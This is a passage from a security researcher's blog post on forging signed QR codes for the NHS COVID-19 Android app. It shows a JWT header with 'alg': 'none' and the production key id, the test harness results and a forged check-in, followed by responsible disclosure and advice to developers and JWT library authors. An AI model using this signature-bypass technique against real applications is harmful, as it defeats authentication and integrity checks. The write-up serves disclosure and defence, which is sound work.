sput-object v0, Luk/nhs/covid19/config/EnvironmentConfigurationKt;->qrCodesSignatureKey:Luk/nhs/covid19/config/SignatureKey;

The important part here is the two string constants (const-string) that are used as the two arguments to the constructor for SignatureKey. We can take these values and put them in our test harness code:

val signatureKey = SignatureKey("dFr_VktyQbzGnc7oHcxhr0pjK1htAkkH3TYzoAgxzk0",
    "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAExPlLBwDzRMpFUS+qb1VM8Ogcu41M\nf+qzgpeHpz7cGZaGtnbZBZJF3WAenBZzq5z0sZ6Nu/xSuZMk1HAzIC5ynA==\n-----END PUBLIC KEY-----")

And now our local code is more representative of the real app.

What happens if we give it our forged token?

> Task :run FAILED
Exception in thread "main" java.lang.IllegalArgumentException: Unknown keyId received: 1
        at zofrex.QrCodeParser.hasValidSignature(QrCodeParser.kt:70)
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:48)
        at zofrex.MainKt.main(Main.kt:37)

Of course ā€” the code is now expecting the production key id, not ā€œ1ā€. Letā€™s update the header of our JWT for the production key id:

{
  "alg": "none",
  "typ": "JWT",
  "kid": "dFr_VktyQbzGnc7oHcxhr0pjK1htAkkH3TYzoAgxzk0"
}

And try again:

> Task :run

BUILD SUCCESSFUL in 1s

Great! Now the only thing left to do is to turn this into an actual QR code.

The Grand Finale

There are lots of ways to create QR codes, but by far the easiest way I know of is via the Google Chart API. Yes, I know, ideally you wouldnā€™t use online sites for any data youā€™re handling while working on security, but I trust Google not to leak this or steal the exploit (and my thunder).

A web browser displaying half of a QR code

Scan the QR code in the official NHS app, andā€¦

A screenshot of a mobile phone app: Green check mark. Title: Successful check-in. Large text: Barnard Castle Eye Testing Facility. Smaller test: 30 Sep 2020, 12:53. Thank you for scanning. You have now checked in! You'll be automatically checked out at midnight or when you scan another official NHS QR code. Button: Back to home. Link: Cancel this check-in.

Well, there we have it. Iā€™m not sure what use this vulnerability is, to be quite honest; I donā€™t know the reasons why these QR codes are signed, and I canā€™t think of much that I can do by forging them. They are signed, though, and they presumably had a good reason to do so, so it feels pretty good to bypass that ā€“ even if all I get out of it is a silly check-in screenshot.

Epilogue: Reporting the Issue

I reported the issue via the NHS HackerOne page and got a response the very next day, confirming that it was a real issue and that they were working on a patch. This was great to see: less than one day to reproduce and confirm is a great turnaround in my experience.

Four days after that (so five days after the initial report) they confirmed they had a fix and it was being released. Again, thatā€™s a great turnaround time for a relatively low-importance issue in my experience. As someone who is usually on the other side of these discussions, I know only too well how complex it can be to verify, patch, and ship!

Once they confirmed they were shipping a fix I began the conversation about disclosure (itā€™s nice to wait until the issue is sorted). The people I spoke to on the NHS team were enthusiastically in favour of a write-up, which is the sort of transparency itā€™s really nice to see! Theyā€™ve also written a blog post about their side of the experience, which you can find here.

Overall, the process of reporting it was very enjoyable. I was a little wary engaging with the public sector, who can sometimes be a little behind the times ā€” would they even know about ethical hacking, or was I about to have an extremely tense conversation with a branch of my own government? ā€” but my doubts were completely unfounded and their process puts most peopleā€™s, private or public sector, to shame.

Some takeaways from what made their disclosure program work well that you can apply to your own:

  • Explicit information on the contact page: It was really reassuring to see not just a generic ā€œcontact us for technical helpā€ but an explicit call-out for reporting vulnerabilities, and where to do it. This immediately gave me confidence my report would be received in good faith, and that I wasnā€™t going to get screamed at for being a hacker.
  • Consistent expectation-setting: At every stage of reporting, it was made clear what was needed, what would happen, and how long it would take, starting with the bot that auto-responds to all new reports giving an expected timeline for triage.
  • Dedication to transparency: itā€™s fun to be able to tell the world when you find a vulnerability, but not everyone running a disclosure program is supportive of that. Being able to blog/tweet/TikTok your findings is a big incentive for researchers like me to spend our free time finding bugs and reporting them, so being actively encouraging of that might bring in more reports.
  • Thanks: Itā€™s a small thing, but every member of the team I spoke to thanked me for taking time to look at the app and to report my findings. Thanking people is free and it makes them feel good!

After all this, thereā€™s only one thing left to doā€¦ itā€™s time to reset the counter.

Appendix I: Takeaways for Developers

I have nothing to say on the topic of JWTs that hasnā€™t already been said. A fair summary of the literature would be: never use JWTs.

This case is a great example. The QR codes are created by a server and scanned by an app owned by the same organisation. They do not need to be interoperable, so the only genuine benefit of JWTs ā€” interoperability ā€” is not valuable here. An ad-hoc scheme to sign and verify the data would work just fine.

Writing the code to sign data with a private key and verify it with a public key would have been easier to get correct than correctly invoking the JWT library. In fact, the iOS app (which gets this right) doesnā€™t use a JWT library at all, but manages to verify using a public key in fewer lines of code than the Android app takes to incorrectly use a JWT library!

If youā€™re wondering how to get public-key signature verification right, use NaCl (or Libsodium, or its bindings in your language).

On top of the signing being hard to get right with JWTs, because JWTs use inefficient encoding, the choice to use JWTs is making the QR codes more complex and therefore harder to scan. Thereā€™s no apparent reason to use JWTs here, and many reasons not to.

(Incidentally, that article also argues that the signatures are a waste of space ā€“ I donā€™t know if they are or arenā€™t, I can think of several plausible reasons you would want to sign these tokens despite the arguments made there. But maybe there are! Sometimes developers pick JWT as a default without really thinking if signatures are even necessary.)

Now that weā€™ve covered the abstinence-only education, what should you do if you absolutely positively must use JWTs?

First of all, be absolutely sure you donā€™t accept "alg": "none" AND TEST IT. JWT libraries are not working in your favour here. Code that looks good, or even looks like is it explicitly enforcing an algorithm or key, might not be. The only way to be sure is to test, test, test. Make sure your testing is adversarial and you try various combinations of algorithms and keys (or no keys! Or empty keys!), even combinations that donā€™t make sense.

Lastly, as a general principle, try to test all invariants for an input data structure at the same time, in the same place. Donā€™t check in one way that the algorithm is set, and then check in a different way which key was used. If you leverage your JWT library to do both those checks it has a better chance of spotting the inconsistency. The issue here (other than the terrible, no-good, impossible to use correctly JWT library, that is) essentially boils down to one piece of code (in the app) checking there is a signature one way, and another piece of code (in the JWT library) checking for the signature in a different way. The disagreement between these two checks is the gap in enforcing the signature that my forged JWT slips through.

Appendix II: Takeaways for JWT Library Authors & the InfoSec Community in General

JWT library authors: we need to have a talk. You seem to have forgotten the point of writing a library, which isnā€™t to promote your security company or to rack up Github stars like youā€™re playing Mario Sunshine.

The point of a library is to make doing something easier.

Why does this even need to be said?

How has this library failed its users so catastrophically?

This is a case where a competent engineering team (Iā€™ve read enough of their code - they know what theyā€™re doing) sat down, apparently aware of the pitfalls of JWTs, and tried to avoid them. They set the algorithm, they required a key. They knew these things about the underlying thing they were doing ā€” far more than users of a library should need to know in order to use it safely ā€”Ā and yet they still shot themselves in the foot. How do people who donā€™t know these things stand a chance?

And if your library isnā€™t helping users to do the right thing, then why does it even exist?

Why was a JWT with "alg": "none" and kid set not rejected out of hand for being obviously ridiculous?

Why does this library have over a dozen different requirements that can be set for accepting JWTs, such as requiring a particular issuer or expiry date, but zero ways to require that the key is actually signed, without which all the other requirements are completely pointless?

Why is it so hard to figure out which of the six different methods this library has for parsing JWTs is the right one to use? Why do they have confusing names? Why is the documentation ambiguous, and at times actively misleading? Why is the most obvious method to pick the one you should never use?

Why is the method to accept unsigned JWTs ā€” a feature almost never needed in production ā€” in the default namespace alongside the real parsing functions? Why is it called parse, which would easily escape a casual code review, instead of something more obviously wrong like parseAnUnsignedJWTNoReallyThisIsDangerousDontUseIt?

In short, why is it easier for your users to do the wrong thing than it is for them to do the right thing?

This library is so bad that the same team, writing signature verification code themselves in the iOS app ā€” you know, the thing cryptographers and security engineers tell developers they should not do, and that they should use a library instead ā€” did a better job than when they used your library. I donā€™t know if their cryptography code is 100% correct, but it sure as hell wonā€™t accept an "alg": "none" token.

A lot has been written about how the terrible design-by-commmitee kitchen sink approach of the JWT spec makes it hard to make good JWT implementations, but this isnā€™t even that. These are unforced errors that even a basic understanding of human-factor design would have avoided.

Do better.

If you do work on a JWT library, here are some table stakes for it at least being easier to use your library than to write the words P256.Signing.ECDSASignature in code:

  • Make it easy to use the function(s) that check signatures and harder ā€”Ā much harder ā€” to use the ones that accept no signature, invalid signatures, or "alg": "none".
  • Make it require significantly more effort on the developerā€™s part to accept "alg": "none" or unsigned tokens, and ensure it leaves warning signs in code that a reviewer can spot from 12 feet away.
  • Make it easier to lock JWTs to just one alg and key. Itā€™s a really common use case, but itā€™s really hard to enforce when using many JWT libraries.
  • Reject nonsensical combinations. A JWT with "alg": "none" and kid specified doesnā€™t make sense.
  • Test that when people read your documentation, they come away with the right conclusions and not literally the exact opposite. Documentation should be your last resort in steering developers to doing the right thing, and yes, many developers will just pick the first suggested function in their IDE that actually works and call it a day, but your docs should still be good, and they should be unambiguous.

For the InfoSec community specifically, I want to say: our message on JWTs isnā€™t landing. JWTs had no technical benefit here, made the QR codes larger, were harder to use (even ignoring that they were used incorrectly ā€” look at how many LoC were needed to parse a JWT!), and yet still got picked. We need to figure out what magical marketing juice JWTs are using and how we can replicate that for libsodium and/or Paseto. This should be a slam dunk for us ā€” UX and security are aligned for once! ā€” and itā€™s embarassing that we cannot win this battle.

See you the next time this happens.

Acknowldgements

Thank you to Agnieszka, NeoThermic, and Edward Drapkin for reviewing drafts of this post, and to an anonymous friend who submitted lots of feedback.

Thank you also to everyone on the NHS team who I spoke with, you were all friendly and lovely and I had a great time reporting this bug!